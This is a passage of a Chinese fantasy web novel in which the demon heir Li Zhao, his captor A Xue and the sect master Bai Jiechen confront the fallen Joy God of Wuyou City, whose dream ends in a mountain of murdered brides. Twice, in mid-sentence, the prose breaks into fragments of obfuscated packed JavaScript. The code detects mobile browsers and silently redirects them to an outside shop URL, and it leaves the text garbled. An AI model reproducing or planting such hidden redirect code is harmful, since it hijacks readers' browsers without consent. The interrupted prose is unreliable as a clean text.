黎昭的脑袋一时间转不过弯来,轻巧地躲过袭来的黑雾,笑着说道:“你再睁大你的眼睛,看看本少主是谁?” 说话间,丝丝缕缕的黑雾从他体内溢出,像是一根根浸满毒汁的藤蔓缠绕住了这尊不喜不悲、不偏不倚的神像,剥去了那清和秀雅的外壳,露出了邪魔本来的面目。 黎昭在幻境中显露了真身。 末梢微卷的长发披在绛色衣袍上,纤长羽睫之下,是比之阿雪更加浅淡的金瞳,这双金瞳闪着恶作剧般的狡光,愈发衬得眉心的红痣鲜艳夺目。 黎昭抱胸而立,修长白皙的手指轻轻敲打着臂弯,看着眼前似乎傻了的成年魇魔,笑道:“怎么?见到本少主还不下跪?” 寻常魇魔的眉心并无红痣,只有获得青渊主恩典的魇魔才能被赏赐,在眉心划一道血痕,像黎昭这般眉心闪耀的红痕,也只有一种可能。 他是青渊主的血亲,凝结了暗渊之王的血脉,象征着至高无上的荣耀与权力。 阿雪体内的血脉翻涌,埋藏在血肉中的信息告诉他,要臣服。 但在看清黎昭面貌的那一刻,阿雪的愤怒盖过了本能的恐惧,他极快地向黎昭飞来,怒吼道:“居然是你,我要杀了你!” 他比之前更加愤怒,连带着喜神塑造的幻境都在微微震动。 什么跟什么? 黎昭更加迷茫,但随之而来的是血脉里带来的兴奋。 他要制服眼前这只蓄意挑衅的魇魔。 愤怒冲昏了阿雪的头脑,他不管不顾地冲到黎昭面前,挥出重拳。 黎昭轻飘飘地伸出一只手,看似纤细瘦弱的手腕就这般抵住了那拳头,随后看似并不费力地一扭。 阿雪痛极,伸腿踢出,黎昭又鬼魅般地飘到他的身后,冰凉的手指抵住了成年魇魔的后颈,帖耳低声说道:“看好了,幻术是这么用的。” 他抓着阿雪的后颈,往下一摁。 绛色衣袍灌着狂风,两道人影从极高的天空轰然降落,直直砸到地面,顿时青砖飞散,尘埃满天,无忧城的居民们惊呼奔逃。 但这还不够。 那两道人影贯穿了地表,垂穿过九层息壤,直通到了幽都冥府,溅起了忘川之水,惊扰了冥府的一众小鬼,连阎罗王的判官笔都掉在了地上。 忘川之水下又是什么? 他们又砸到了九重天阙,来到了白玉京,冲破了天河,再次又降落到人间。 周而复始,周而复始。 阿雪的大脑灌入了无数的信息,双瞳泛着暗淡的死光,咬紧牙关,骄傲让他不肯求饶一句。 他知道黎昭是在用同样的方式报复他。 魇魔就是这般,睚眦必报,不死不休。 但是他如果就这样死了,乐愁该怎么办呢? “你,不想知道,那神仙的秘密吗?”阿雪咬碎了牙,终于蹦出了这句话。 “嗯?” 黎昭心道终于把这犟种制服了,他的头也有点晕。 阿雪沉重的身躯就这样被黎昭拎着,悬浮在空中,他眼眸暗淡无光,喘息了一声,冷笑道:“你附身的那副身体——” 他话及一半,整个幻境瞬间化作灰烬般的尘埃。 喜神的幻境被破了! 耳畔依旧回荡着喜神惨烈的尖啸,那柄泛着寒光的神剑距离他的眼睫不过数寸。 千载幻境,在现实不过一瞬。 黎昭急急远离了那剑刃。 白解尘的剑依旧停留在喜神的心口,他眉目森冷,犹如北垣上肆虐的朔风。 血肉模糊的手握住剑柄,稍稍往下,锋利无比的剑刃居然是要剖开喜神的心脏! “等一下!”黎昭只觉得自己的心也被割开了,“刚刚喜神告诉我无忧城的往事了!” 白解尘的剑未停,侧颜线条锋利如剑,薄唇轻启,说道:“你方才见到喜神的相貌了。” 黎昭呼吸一滞,喜神的相貌宛如是一个刻意被遗忘的秘密,被藏在了记忆深处。 剑锋划开喜神胸口薄薄的皮肉,轻巧得像是划开无痕的水面。 白解尘微微偏着脸,眉骨阴影下的眼眸亮得犹如寒星,他问道:“你见到了什么?” 语气平淡得仿佛在问醒了吗。 黎昭缓了缓,艰难地开口:“她的脸裂开了。” 喜神的脸分裂成了两半,中空的缝隙内挤着无数双眼睛,骨碌骨碌转动着。 喜神堕落了。 她原本是不偏不倚的念神,却有了偏袒之心,年过千载,那道裂缝越来越大,直到不可挽救。 所以她才盖上了那块红布。 白解尘剖开了喜神的心口,翻卷的皮肉之下,是一颗扑通扑通跳动的心脏。 心脏之上缠绕着几缕光华四溢的丝线。 白解尘在见到那缠丝的时候,面目骤然一变,漆黑的双眸漫起一种让人捉摸不透的愤怒与哀痛。 黎昭顿时被极强的气压震慑住,他本来是好奇地去看那喜神的心脏,未曾见到什么就觉得眼前一暗,扑通一声倒在了床上。 好气。 这具身体实在是太没用了。 方才还在幻境中上天入地,这会就被白解尘的气场压得动弹不得。 白解尘缓慢、小心翼翼地抽出了那道缠丝,他的情绪极其不稳,周围的空气都弥漫着危险的气息,墨般的眼底隐隐浮出丝丝缕缕的红光。 “怎么了?这么大动静!”徐风盛从被撞开的木门直冲进来,见到客房的一幕,大脑一下子有点反应不过来。 喜神倒在地上,捂着胸口,青白的指缝溢出鲜血。 白解尘脸色沉得可怕。 还有躺在床上的那个人… 徐风盛眼角抽搐,怎么又是你! 徐风盛的念头转得极快,小心翼翼地退出房间,说道:“我什么都没看——” 他无意间瞄见白解尘的那双眼睛。 犹如浸在血池中的双眼,充斥着哀痛、愤怒、迷茫,徐风盛从来没见过白解尘露出这般的眼神。 他心中一惊,五指下意识地握住刀柄,目光转向白解尘手上的缠丝。 “缠丝?”徐风盛一眼认出那丝线,继而脸色一凛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冲出屋外的阿雪唤出照骨镜,破开了一道薄膜般的界面夹缝,带着黎昭进入了另一个空间,是无忧城的一间空房子。 他把黎昭丢在了地上,脸色比死还难看,咳出了几块血沫,还不忘嘲笑道:“你刚才那样子真狼狈。” 黎昭被震得全身没力气,索性瘫在地上,笑嘻嘻:“你比我还惨咧。” 阿雪咳嗽了几声,不多做口舌之争,金眸定定地看着黎昭,说道:“我要用你换缠丝。” 黎昭怀疑自己耳朵出了问题,坐起身,说道:“你说什么?” 阿雪懒得再重复,他拿出早就准备好的绳索,把黎昭捆得严严实实,说道:“我不管你为什么钻进这躯壳内,玩也好,躲避仇家也好,但你现在的躯体只是个废人,你没有选择。” 黎昭听得满头雾水,仍由阿雪捆绑,说道:“那什么缠丝的好像对他们很重要,你把我绑了也没用啊。” 阿雪捆绑的动作一顿,了然道:“不用骗我了,我在城里全部看到了。” 黎昭:“啊?” 阿雪眯起眼,苍白的嘴唇勾起一个意味深长的笑容,慢悠悠地说道:“不愧是魇族的少主,你现在是徐风盛的旧情人,当年你在无忧城又与白解尘不清不楚,那位天下无敌的白宗主看你的眼神,可是求之不得,辗转反侧啊。” 黎昭的头上被劈了一道九天神雷。 阿雪,你眼瞎吗? 19.真相 二十多年前,黎昭与白解尘势同水火,宗门的师长们有意缓和二人关系,便随便寻了个任务让他们出去游历。 那次正逢凡间的乞巧节,无忧城里热闹非凡,河面流淌着盏盏花灯,灯火映衬着年轻男女们的脸庞,一时间也分不清灯红亦或是脸红。 他刚坐在客栈的长凳上,听到旁边的年轻男女调笑,说是等会要去河边放花灯,又贴着耳朵说了一些私密话。 年轻男女相视一笑,羞涩无限。 黎昭没见凡间的乞巧节,下山前还记得师兄们的嘱托,让他带点新奇的玩意儿回去,转过身对那对男女说道:“小哥,姐姐,那些花灯哪里买的?” 他长得俊俏,未语先笑,谁见了都喜欢,也没有计较他的打扰。 那位年轻小哥看了眼黎昭和他后方的白解尘,说话倒也落落大方:“小仙长们是要放花灯吗?” “啊,不是,”黎昭摇头,事态轻重缓急他是分得清,“我是想买些回去给师兄——” 他嘴唇开开合合,却没有声音。 一看就知道是被下了禁言术。 年轻小哥见黎昭突然没了声音,下意识地看向另一位小仙长。 白解尘面沉如水,声音冷得似冰:“寻人要紧。” 他还嫌黎昭不够心静,又给二人周围一圈都下了禁音咒。 “……” 黎昭回想起上次来无忧城的情景,不禁摇头长叹,这阿雪果真是眼瞎,白解尘分明是厌烦极了自己。 他又重新躺在地上,双手枕着头,说道:“你这只魇魔长着眼睛,心却是瞎的,白解尘是恨死了我,当年就是他把我一剑杀了,我才不得已夺舍这具身体。” “他杀了你!”阿雪声音提高了几分,世界观受到了冲击,“这怎么可能!” 黎昭嗤笑一声,说道:“二十年前的魇灾,你在无忧城也有听闻吧,那便是本少主干的。” 阿雪脸上写满了震惊,千载时光他都在无忧城,但二十年前那惨绝人寰的魇灾也是有所耳闻,暗渊的魇族几乎被灭绝,一个堪比天魔的魇诞生,还未入侵中州,就被白解尘一剑诛杀。 随后万里暗渊被封,世间再无魇魔。 他对暗渊和魇族没什么感情,听到这消息时也没有多少触动,但亲眼见到魇灾本灾时,心情又不一样了。 “堂堂魇灾居然是一个废人,”阿雪不错过任何一个揶揄黎昭的机会,“真是没想到。” 黎昭毫不犹豫地还嘴:“所以,你通过要挟我取得缠丝的计划落空了?” 这倒是狠狠打击了阿雪,他捏紧了拳头,目光又恢复了冰冷,说道:“好,既然你没有用了,那我就要杀了你,若不是你和白解尘二十年前在无忧城搞出的忘川,乐愁怎么会到现在都不理我!” 黎昭倒是坐直了身体,说道:“这都怪在我头上?” 阿雪不再废话,正要上前解决黎昭的性命,他身后传来一个虚弱的声音:“阿雪,住手。” 乐愁出现在门后,他的面庞比白天看到时凹陷了许多,依靠在门沿上,轻轻咳嗽着,两颊一团病态的红晕。 他罩在道袍中的身体愈发消瘦,犹如一根孱弱的枯木。 “你怎么出来了?不是让你好好休息吗?”阿雪瞬间满脸惊喜,转身扶着乐愁,小心翼翼地将他牵到座上,又拿来厚毯给他仔仔细细盖上,嘴角一直含笑,“乐愁,你终于同我说话了!” 阿雪在忙前忙后,乐愁的眼睛一直盯着黎昭看,说道:“神仙,我们好久不见了。” 黎昭知道他在唤千年前给予他缠丝的神仙,可自己这幅身体是夺舍来的,随口说道:“你口中的神仙不小心死了,我是夺舍了这具身体。” 听到这话,乐愁又咳嗽了几声。 他眼神闪烁,话到嘴边又落下,最终无奈道:“天意如此,也无法了。” 阿雪在一旁吃味得很,挡住了两人的视线,说道:“好了,别看了,都一千年了,你还惦记着。” 他又转头对黎昭很自然地警告:“你也少说两句!” 黎昭:?关我什么事? “小友,你一定有很多问题,”乐愁给阿雪一个眼神示意,让他不要插嘴,“有什么问题问吧。” 结合最近的几桩事,黎昭倒是大致知晓了无忧城的秘密。 千年前,喜神因为一次偏袒而堕落,念神一旦堕落,将会给人间带来极端负面的影响。倘若喜神一死,世间再无关于喜神的记忆。 乐愁和阿雪为了让喜神娘娘接受供奉,在此地建立了傀儡城。人们为了怀念死去的亲人,委托乐愁与阿雪将他们制成傀儡,在无忧城中生活。 清徽要来城中看望从未回家的长辈,还要顺带着拜见喜神娘娘,就是这个原因。当年黎昭在喜神记忆中见到的尸罗堂师兄,应是被阿雪的瞳术影响,等到天亮才将他们放回去。 可城中的男女老少都是拘着生魂,是极阴之地,跟喜神乃是大冲,极其容易形成阴阳煞,后来白解尘来此地,察觉到无忧城的气运凶险至极,才将其封印。 “倒是没什么问题,”黎昭说道,“就是无忧城外的忘川太假了,满是破绽。” 无忧城主的双眼洞悉一切,说道,“你是不是使了什么法子,阻止了白宗主?” 阿雪闭上嘴不说话了。 黎昭乐得看他吃瘪,叽里呱啦把之前发生的事绘声绘色描述了一遍,最后啧啧评价:“你养的这只魇魔技艺不精,幻境制造出的忘川跟小溪似的,我洗澡都嫌水浅呢!” 阿雪气得满脸通红,他早知魇魔恶劣,但一接触下来,就恨白解尘当初怎么不多捅黎昭几剑,留他一缕魂魄祸害人间! “所以,他这次来是要杀了喜神,释放全城的阴魂,解了这阴阳煞?”黎昭摸着下巴,琥珀色的眼睛往乐愁惨淡的面容上转了转,“你是喜神的眷属,喜神一死,你也会死啦!” “喂,你怎么说话的!”阿雪又要站起来取黎昭的性命。 “阿雪,”乐愁轻轻的一声又将这只暴怒的魇魔拉了回来,“不得无礼。” 阿雪转身看向乐愁,方才盛怒的双眼突然变得悲伤,悔恨到了极点,说道:“都怪我,都怪我,那缠丝一直在你的身上,一直都好好的,是我把它取出来,放在喜神娘娘的身上……” 乐愁摇摇头,安慰道:“白宗主终究要杀死喜神,我活不了。” 阿雪咬紧牙关,这二十年他时时刻刻都在准备着这一刻,但等到这一刻真的来临时,他还是接受不了注定的命运。 “那你怎么不控制喜神去杀白解尘?”黎昭说道。 阿雪深吸一口气,道:“我是去用缠丝控制祂去杀白解尘,可是不知道为何,祂来找你了。” 黎昭一时无语:“……所以祂本应该去攻击白解尘,结果目标转向了我?” 阿雪冷道:“我若是喜神娘娘,第一个也是先杀了你,祂定是听到我的心愿。” “所以现在的情况就是,缠丝被白解尘夺了,喜神娘娘也被制服了,”黎昭自然而然站到了阿雪这一边,“等白解尘找到这里,我们都要死了。” 阿雪怒吼:“不会说话,可以把嘴巴闭上。” 没有了缠丝的乐愁已然到了油尽灯枯的时候,他活了上千年,一直依靠着阿雪的心愿,维持着一点生机。 他双眼柔和地望着阿雪,过了许久,才说道:“阿雪,这二十年我没有同你说话,对不起。” 阿雪浑身一震,忍住鼻间的酸意,说道:“才二十年,没什么。” 乐愁轻叹,说道:“二十年前,忘川之水来到了人间,我突然忆起前尘往事,一念就难以忘怀,这二十年我一直在后悔,在后悔当年为何不将你交给尸罗堂。” 阿雪猛地转身,金瞳中闪着泪光,声音哽咽了:“你,你真的后悔吗?” “对不起,”乐愁虚弱地只能发出气音,他苦笑着摇头,“阿雪,真的对不起,我愧对于你,但又离不开这里,这二十年来我在想若对你冷淡点,你会不会离开我,可惜,现在你也同我死在一处了。” 阿雪心中又气又怒又恨,但再气再恨再怒,他也做不出一分一毫伤害乐愁的事情。 透明的清泪溢出双眼,连他自己都未曾发觉。 黎昭在一旁看傻了。 他从未见过魇魔落泪,这种脆弱至极的情绪对于魇魔而言是致命的弱点。 他本应借机出言嘲讽几下这只脆弱的魇魔,但他此时的心也软了下来。 “不对,”黎昭摇头,说道,“你们都错了。” 阿雪泣不成声,双手胡乱摸着脸上的眼泪:“你再说话,我就把你砍了。” 黎昭无视快要碎掉的阿雪,对乐愁说道:“那神仙应是天界的司正大人,他惩罚的是堕神,同魇魔有什么关系?” 此言如当头棒喝,乐愁喃喃道:“你说什么?当年他不是让我交出阿雪吗?” “念神堕魔,必行约束,”黎昭的声音不大,吐出的言语异常清晰,“你们便是约束念神之人,当年你们就应当把缠丝用在喜神的身上。” 直到此时此刻,乐愁才明白当初神仙的用意,缠绕他千载的悔恨与责任一时间如拨云见日,但也为时已晚。 “那为什么神仙不说明缘由!”阿雪气愤道,“装神弄鬼,故作玄虚!” 黎昭也讨厌神仙这虚 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白解尘恢复了往日的冷淡,只是一双眼眸深沉晦暗,让人看不清他内心所思所想。 徐风盛瞄了眼白解尘手中的缠丝,也认清了事实,他收起了映雪刀,说道:“我是不能对你以性命相搏,但不代表我认可你的行为,等一切尘埃落定后,你手上的缠丝还要等仙盟定夺。” 他对白解尘的个性十分了解。 白宗主认定的事情不会轻易改变,既然他要定缠丝,除非身死,否则谁也不能从白解尘手中夺走。 白解尘沉默了一瞬,说道:“多谢。” 徐风盛难得听到他一个谢字,顿时喜笑颜开,说道:“你放心,等仙盟大会召开的时候,我会替你求——” 白解尘收起缠丝:“这是为你好。” “求情个屁!”徐风盛的舌头打了个结,恨恨道,“当了二十年宗主,我还以为你说话稳重些了呢!” 白解尘未置可否。 他距离飞升仅有一步之遥,修为独步天下,凭他的地位与权势,无人敢非议他的言行。 徐风盛看向伏在地上颤抖的喜神,又担心起被魇魔擒走的林照之,说道:“你先顾着喜神,我去找我的门人。” “不用,”白解尘说道,“魇魔自会来寻我们。” 徐风盛:“啊?” 白解尘意味不明地看着他。 徐风盛愈发迷惑,又觉得这眼神无比熟悉,说道:“又怎么了?” “林照之修为尽毁,魇魔若是要他性命,完全可以杀之,但他声东击西不惜毁掉幻影分身,也要带走林照之,”白解尘停顿了一下,抬起眼眸,眼梢勾起锋利的弧度,看向徐风盛,“只有一个原因,拿他当人质交换缠丝。” 徐风盛终于知道白解尘那眼神是什么意思了,笑得有些尴尬:“你误会了,林照之不是我的老相好。” 白解尘:“原来如此。” 他说得漫不经心,但双眸黑沉得可怕。 被这双眼睛盯着,徐风盛突然觉得脊背发凉,堂堂风雷主也有些不自在,说道:“绝对不是,你别听那小子瞎说。” “是吗?”白解尘的语调上扬,随即声音轻得仿佛自言自语,“看来那魇魔要挟的另有其人。” 徐风盛也不知为何,莫名有些紧张,他随手找了个凳子坐下,又将映雪刀抱在怀里,说道:“那我们在这里等?” 白解尘轻轻摇头,说道:“我不喜欢等。” 他已经等得太久了。 应召一直握在他的手中,忘川之水无时无刻腐蚀着他的骨肉,最开始的一道浅浅的伤口一点点扩散到了整个手掌,粘稠的血液顺着剑柄缓缓流淌而下,附着在银辉般的刀刃表面。 剑尖缓缓移向喜神,尖端滴落了一点血珠,砸在地上。 喜神捂住那颗跳动的心,往后畏缩了一刻,祂害怕极了眼前之人。 白解尘:“堕神之苦,我可以让你解脱。” 他语气冷淡,宛若无所不能。 喜神闻言浑身一颤,急迫地抬起脸,红盖布下显露出畸形的轮廓,似乎有密密麻麻的东西在红布之下缓缓蠕动,两团洇湿的泪痕一点点晕在红布的两端。 白解尘握住剑,他的眉眼冷厉得犹如一尊杀神,漆黑的瞳仁泛起危险的血光,无数道罪命枷锁在他的身后一闪而过。 他的手很稳,眼眸完全转变为暗沉的血色。 剑尖慢慢没入喜神的身体,说出的话语却无比温柔—— “那就请你帮我做一场,盛大的美梦。” 20.喜事 噼里啪啦,噼里啪啦。 黎昭被一阵鞭炮声吵醒了,他睁开了双眼。 面前是一座民间宅邸,依山而建,白墙青瓦,门口立着两座巍峨的石狮子,看样子像是某个民间富豪乡绅的宅院。 这位豪宅的主人家正在经历一场盛大的喜事,张灯结彩,就连石狮子的胸口上都戴了两朵红绸花,吵醒黎昭的鞭炮声就是由此而来。 身后一群吵嚷的乡民,人群有有几副熟面孔,看来整个无忧城的人都身处在了幻境中。 阿雪走上前,小声说道:“你把我们拉进来的?” “不是。” 黎昭心中漫起不安,眉心轻轻皱起,这场幻境的主人异常强大,魇魔的直觉让他最好不要轻举妄动。 “是喜神娘娘创造的幻境,”乐愁看着宅邸门前的红灯笼,说道,“喜神娘娘会展露出境主心中最喜悦的愿望,这位境主应就是这座宅邸的主人,他正准备成亲。” “成亲?”徐风盛往前走了一步,身处幻境,他暂时搁置了跟魇魔阿雪的争执,“谁成亲?” 黎昭笑容有点冷:“谁不在这儿,谁成亲咯。” 唯一没有出现的人是谁,一目了然。 “啊?”徐风盛猛地转身看黎昭,话都不会说了,“白解尘不在这里,他成亲?” 徐风盛说出的每一个字连他自己都觉得离奇,更何况,境主居然是白解尘! 几人对话间,牌匾上赫然出现了“白府”二字,气韵飘然,见之忘俗,坐实了某人的猜测。 徐风盛的脑子仿佛被雷劈了,在他的印象里,白解尘同风花雪月完全不沾边,虽然仰慕白宗主的人如过江之鲫,但他从未见过白解尘对谁有过好感。 他? 最渴望的事情是结亲? 徐风盛的人生都颠覆了! 相比起呆若木鸡的徐风盛,黎昭同阿雪两只魇魔皆是面色凝重,敏锐的直觉让他们感受到周围的空气都充满了凝滞感,似乎有个强大的存在正在窥视他们。 两人抬头望天,晴空当照,散发着不详的冷光。 乐愁看出了阿雪的担忧,身为喜神的眷属,解释道:“阿雪,不必过于紧张,这是人生四喜之一的洞房花烛夜,以往的境主只需完成结亲的过程,梦境就会结束,我们便可出去了。” 话音刚落,似乎是为了验证乐愁的话语,道路的尽头走来一支吹拉弹唱的迎亲队伍,队伍的中间是一座花轿,通过红纱能见到一位穿着凤冠霞帔的新娘,头盖红布,根本看不清她的相貌。 白府的大门打开,出来两位气质不凡的妇人,迎亲队伍顺势停下。 结亲队伍岿然不动,幻境中所有人的目光都看向那位花轿中的新娘,原本摇晃的鲜红花穗也停下摆动,所有的事物仿佛都静止在这一刻,四周死寂一片。 徐风盛原是抱着看热闹的心态想看看白解尘的梦中情人是谁,但他立即打消了这个念头。 整个幻境实在是太安静了,安静得诡异。 新娘被妇人迎接着下轿,白府巍峨的大门关闭,迎亲队伍敲锣打鼓地经过白府大门,直到消失在远处迷蒙的雾海之中。 人群又开始吵嚷,白府门前恢复了原本的热闹。 “这就结束了?”徐风盛连他自己都未察觉地吐出一口气,“我们只要等到仪式结束就能出去?” 说话间,整个幻境昼夜交换,居然是又到了第二天的早上。 远处传来了相同的喜乐,迷雾中又是一支迎亲队伍,花轿中坐着新娘,白府大门打开,迎接新娘入府,迎亲队伍吹着喜乐再一次走入迷雾中。 “喂,”阿雪凑近了黎昭,好像是故意的,“那姓白的这么花心?居然娶两个新娘?” 自从进入这场幻境后,黎昭就浑身难受,听得阿雪如此问,语气生硬:“我怎么知道?” “啧,”阿雪轻啧一声,“你那么凶干嘛,白解尘虽然杀了你,但那时候在无忧城,他真的——” 他的话戛然而止,因为新娘进门之后,又是昼夜变化,第三天来临了。 迷雾尽头第三次传来同一首结亲乐曲,他们几人站在白府门口,就这么看着日月交替,一连过了十几天,整个幻境没有丝毫变化,眼看下一个新娘又要坐着花轿来了。 唯一不同的是,每个新娘的体态都不一样,但她们都是盖着红布,瞧不清真面目。 “不行,”徐风盛等得不耐烦了,拎起映雪刀,“不能这么等下去,不管白解尘娶多少个新娘,我们都要出去。” 阿雪说道:“要破幻境,除非是境主自我醒悟,或者外力破坏,目前看来这两者都行不通。” 在幻境中,魇魔的话比谁都管用,境主自我醒悟是行不通了,白解尘都娶了十几个新娘,幻境都没有结束,外力破坏的话,或许对旁人管用,可境主是白解尘,谁又能破坏得了他的幻境。 徐风盛思索一番后说道:“兵分两路,一个人去当新娘,负责拖延时间,正好数一数白解尘娶了几个娘子,另外的人进入白府探查虚实,这幻境没有想象中的那么简单。” 阿雪第一个反对,他将乐愁护在身后,说道:“城主不能去当新娘!” 徐风盛挑一挑眉,说道:“那你去?” “风雷主是在开玩笑吗?我可是魇魔,白宗主怕不是第一个宰了我,”阿雪笑得不怀好意,“我看这位林小兄弟,正合适。” 正在往柱子后面躲的黎昭:“……” 徐风盛伸手一拽,说道:“林照之,就你了,过来。” “等,等一下!”黎昭双手死死抱住柱子,“风雷主,你不是白宗主的好朋友吗?你怎么不去?” 徐风盛闻言手一放,正气凛然:“我是他师兄,有悖人伦!” 黎昭心里暗骂这徐风盛,这会就师兄了,白解尘可从来没把你当师兄! 阿雪看热闹不嫌事大,把黎昭的脖颈一拎,成年魇魔高大的身形优势此刻展露无疑,随后手指一点,使用幻术把黎昭捆了个严严实实,拉过他,贴耳低声说道:“少主,能者多劳的道理,你懂吧?” 黎昭咬着牙,气得声音都在抖,也只能小声威胁:“看来你还没尝够我的幻术。” 阿雪看出他因为境主的存在,不敢显露出真身,笑得愈发愉悦,故意大声说道:“我们能不能出去,就看林兄弟了。” 说完,还拍了拍他瘦削的脊背,砰砰响。 黎昭看他,像是在看一具尸体。 高大的魇魔拎着裹成粽子的黎昭,就这样飘飘然地来到迎亲队伍中央,把花轿的新娘拽了出来,把黎昭塞了进去。 他这样偷天换日,迎亲的轿夫们仿佛未曾看见一般。 “你放心,”临走时,阿雪小声说,“我的判断不会错的,他一定很喜欢你。” 黎昭自暴自弃地闭上眼,恨声道:“如果我能活着出来,我一定先杀了你。” 阿雪轻笑一声,放下了红色门帘。 黎昭一进到花轿之内,一道无形的束缚牢牢地笼罩在他的周身,根本无法动弹。 那种无处不在的窥视感又来了,红盖布之下他只能看见自己交握在膝前的双手,还有一身红得刺眼的霞披。 噪杂的奏乐声隔着木板,显得朦朦胧胧,轻微的颠簸过后,花轿停了,黎昭被那股无形的力量驱使着下了轿,白府两位喜庆的妇人扶住了他的双臂。 “少夫人,小心台阶。”两位妇人齐声道。 黎昭听到与之前不同的反馈,心念一动,说道:“我看不到路。” “无妨,少夫人,我们会扶着你一直到洞房。”左边的妇人笑道。 黎昭脚步一顿,事已至此,也只能依照徐风盛的计划来进行,他要尽量的拖延时间。 “直接就入洞房吗?”黎昭拐着弯骂,“看来堂堂陇西白氏也是浪得虚名。” “夫人何出此言?”右边的妇人说道。 黎昭骂了个痛快:“白家少君好性急啊!色鬼!不知廉耻!” 扶着黎昭的两位妇人对视一眼,异口同声地说道:“夫人言之有理,我等马上去请示少君。” 顷刻间,黎昭两旁的妇人消失不见,周围升腾起浓雾,随后浓雾消散,目所能及的视线内景物焕然一新。 方才踩住的青石板变为了名贵的红毯,红盖布之外亮起点点光晕,照得他一时头晕目眩,鼻间闻道了浓郁的甜腻熏香,窃窃私语从不远处传来,外头是吵闹的鞭炮声。 刚说过白府成亲礼仪不周,这幻境就变幻了出了一个装饰华美的礼堂。 他的手中莫名多了一道红绸,红绸自他手中垂落,黎昭猛然转头,红盖布之下见到对方一身喜服,修长如玉的双手握住了红绸的另一端。 “少夫人,进洞房前可不能乱看哦!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13795069|145697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一位妇人按住了他一侧的肩膀,那股无形的力量将他扳回,脸庞正对着高堂上朦朦胧胧的两道身影。 “吉时已到!跪!” 黎昭双膝一软,被强行按在了软垫上。 * 眼看黎昭扮成的新娘进入白府,原本变幻的时间突然停止了,高墙之内传出了忙碌的鞭炮声。 “嗯?”徐风盛说道,“林照之成功了,计划奏效。” 乐愁拉住阿雪,望着那紧闭的府门以及头顶的牌匾,念及陇西白氏的威名吗,询问道:“风雷主,我们真的要进去吗?” 徐风盛面色凝重,说道:“我也未曾去过陇西白氏,听闻白家人行事低调,恐怕白解尘梦境中的白府同现实是一样的。” “进去那么多新娘,幻境没有变化,说明问题就出在白府之内,”阿雪摸着下巴,“是应该一探究竟,风雷主,你有什么想法?” 徐风盛紧紧皱眉,思索了许久,说道:“白解尘受罪命枷锁的困扰,据说白家为了寻找因果之人,特意挖了一座灵脉设置问吉道场,内藏成千上万种天衍算法,若说白府里什么地方值得去探究,这倒是个去处。” 他从怀中拿出一只风水堪舆,说道:“正巧,北垣除了灵脉,就没其他好东西了。” 三人偷偷潜入白府之内,幻境中的白府一片寂静,除了隔墙之外传来的喜庆乐声外,再也没有其他声音,也没有其他人。 隐隐的怪异感又浮现在徐风盛的心头,在来到幻境之前,他似乎忘记了什么重要的事情。 他测算着风水堪舆,带领两人在偌大的白府中寻寻觅觅,走到了一处峭壁旁,光滑的石壁上立着一道巨大高耸的青铜门。 青铜门上镌刻着北斗七星,先天八卦等天衍算法。 “应该就是这里。” 徐风盛收起风水堪舆,看着那紧闭的青铜大门,不祥的预感无论如何都无法散去,仿佛打开这道大门,他就会触及到一个再也无法挽回的真相。 魇魔阿雪嗅了嗅,鼻翼翕动,隐约闻到了一股血腥味。 “要打开这道门吗?”阿雪喉间发痒,牵住了乐愁的手,“我总觉得有不好的事情发生。” 徐风盛缓缓抽出映雪刀,双眼盛起细细密密的紫芒,说道:“你们退后。” 一刀劈下,漫天风雪雷电。 铛! 青铜门与刀气碰撞,山体传来的一阵巨响,青铜门开出了一道缝,漆黑的缝隙中闪过一道红影。 在三人惊骇至极的目光中,一具身穿嫁衣的尸体慢慢滑出,紧跟着是两三具身穿嫁衣的尸体。 青铜门缝因为内部的重力而在缓缓地打开,涌出无数具红衣尸体,太多太多了,连续不断,连绵不绝,掉出的尸体由于惯性堵在了青铜门前,逐渐汇聚成一座红色尸山。 这些身披嫁衣的尸体有男有女,胸口皆是被一剑毙命。 青铜门之内,依旧有数以万计的嫁衣尸体,都被堵在了狭窄的门缝之中,剩余的尸体再也出不来了。 幻境太阳悬挂上空,每具尸体都映照得分毫毕现,幻境的尸体不会腐坏,空气中隐隐能闻到一丝血腥味,远处遥遥传来飘渺的喜乐,还夹杂着的欢呼声。 徐风盛死死握住映雪刀柄,不住地后退,目光移向青铜门内,颤声道:“整条灵脉里,装的都是尸体。” 一条灵脉纵横万里,能装填满整条灵脉的尸体,会是多少? 他们看到的只是冰山一角。 乐愁的脚边是最先涌出的尸体,他还记得,那是之前几次结亲队伍里的新娘。 每次成亲,新娘都会死亡,然后被送入这支巨型灵脉之中。 “我,知道了,”乐愁面色惨白,声音抖如筛糠,“这不是成亲,这不是成亲,新娘不是新娘!是死人啊!” 他被这惨烈的景象吓得语无伦次,阿雪紧握住他的手,说道:“冷静一点,乐愁,这只是幻境,不是真的!你如果不喜欢,我把他们变没了!” “不,都是真的,完了我们都完了,所有人都完了!”乐愁的牙齿都在打颤,一只手死死扣住阿雪的臂膀,他缓缓地转过脸看着阿雪,说道,“白宗主,他让喜神为他做了一场大梦。” “祂只能按照境主的心愿,创造喜梦,”他满脸绝望,看着尸山尸海,毫无血色的双唇颤抖着,“白宗主心中喜梦,就是杀光所有人。”